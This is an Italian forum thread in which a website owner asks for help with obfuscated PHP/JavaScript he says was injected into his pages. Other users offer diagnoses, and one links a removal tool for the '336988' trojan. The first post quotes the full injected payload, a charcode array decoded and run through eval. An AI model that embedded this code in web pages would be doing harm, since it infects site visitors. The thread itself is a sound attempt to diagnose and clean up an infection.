LinkBack URL
About LinkBacksCiao a tutti... è Costante questa cosa, in certi file .php,.html, contengono dei codici php e javascript NON inseriti da me..
Sembra che il codice sia criptato..
Oggi è uscito questo :
Codice PHP:#336988#
echo " <script type=\"text/javascript\" language=\"javascript\" > you need to pay for this crypt</script>";
#/336988#
Altre Volte, :
Il fatto è che.. tempo fa avevo detto la stessa identica cosa, EPPURE MI AVEVO "LAMENTATO" che mi avevano cancellato l'intero sito.Codice PHP:#336988#
echo "
<script type=\"text/javascript\"
language=\"javascript\" >
try{window.document.body++}catch(gdsgsdg){dbshre=117;}if(dbshre){asd=0;try{d=doc
ument.createElement(\"div\");d.innerHTML.a=\"asd\";}catch(agdsg){asd=1;}if(!asd)
{e=eval;}ss=String;asgq=new
Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107
,26,111,90,103,108,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,
61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,
109,93,106,106,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,108,107,91,113,
92,100,109,91,103,98,38,103,95,111,38,91,101,101,41,103,96,105,33,54,4,2,25,26,2
7,23,108,92,105,110,37,107,109,115,103,92,38,105,105,110,96,108,98,105,105,23,53
,25,33,92,89,107,104,102,112,107,93,32,53,8,1,24,25,26,27,107,91,104,109,41,106,
108,114,102,96,37,90,104,108,95,92,106,25,55,27,30,40,32,53,8,1,24,25,26,27,107,
91,104,109,41,106,108,114,102,96,37,96,94,99,98,95,108,25,55,27,30,41,105,114,34
,50,5,3,26,27,23,24,109,93,106,106,38,108,110,116,99,93,39,113,100,91,108,97,26,
56,23,31,42,106,115,30,51,6,4,27,23,24,25,110,94,102,107,39,109,111,112,100,94,4
0,103,92,94,109,26,56,23,31,42,106,115,30,51,6,4,27,23,24,25,110,94,102,107,39,1
09,111,112,100,94,40,111,102,104,25,55,27,30,41,105,114,34,50,5,3,7,5,23,24,25,2
6,100,93,24,33,27,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102
,109,60,116,64,92,33,33,111,90,103,108,33,36,32,24,116,7,5,23,24,25,26,27,23,24,
25,94,106,90,109,102,95,105,107,38,112,108,100,107,93,33,33,55,91,97,111,26,100,
91,53,85,33,111,90,103,108,86,34,53,52,40,94,100,109,54,32,35,54,4,2,25,26,27,23
,24,25,26,27,91,103,92,111,104,92,102,109,40,98,92,108,62,102,96,100,93,103,110,
61,112,65,93,34,34,107,91,104,109,34,32,38,90,106,107,92,102,93,61,99,96,100,93,
34,111,90,103,108,35,54,4,2,25,26,27,23,117,6,4,120,32,32,34,53);s=\"\";for(i=0;
i-479!=0;i++){if((020==0x10)&&window.document)s+=ss[\"fromCharCode\"](1*asgq[i]-
(i%5-5-4));}z=s;e(s);}</script>"; #/336988#
Il sito è stato creato tutto da me, la PASSWORD VIENE AGGIORNATA sempre, Ho diversi siti e anche il altri compaiono questi codici e credo(sono) che siano questi codici a cancellarmi i siti!
Visualizzazione risultati 1 fino 5 di 5
-
02-02-2013, 16.47.24 #1Guest
Codice Javascript "Virus", viene creato nelle mie pagine...
-
02-02-2013, 16.55.01 #2Guest
Allora il problema è nel PC che usi per creare i siti o in qualche script che insisti ad installare in tutti
Originalmente inviato da facesmilee
-
02-02-2013, 20.12.41 #3Guest
Mi ricordo che ti avevo già spiegato da chi e perchè avevi un virus nel tuo codice... Avevo addirittura postato il sito da dove proveniva... Comunque quel "dbshre" non mi convice...
-
02-02-2013, 21.21.22 #4Guest
Originalmente inviato da morgensterngdr
Allora il problema è nel PC che usi per creare i siti o in qualche script che insisti ad installare in tutti
Ma quale script? Non c'è nessun script ...
Ps: Ho anche formattato il PC.
-
18-03-2013, 14.29.19 #5Guest 336988 fix
Ciao,
il codice indicato 336988, è un trojan solitamente aggiunto ai files php, html e tpl del sito tramite injection, molto spesso questo è dovuto a una qualche falla di wordpress o a qualche tema o plugin scaricato da fonti non sicure ma ci sono casi di injection anche non relativi a wordpress.
Comunque ho avuto anche io lo stesso problema e ho sviluppato un piccolo tool che permette di eliminare il codice malevolo dai file interessati considerando anche alcune varianti del trojan, puoi scaricare il tool da github:
https://github.com/francodgstn/Simpl...FixScanner.php
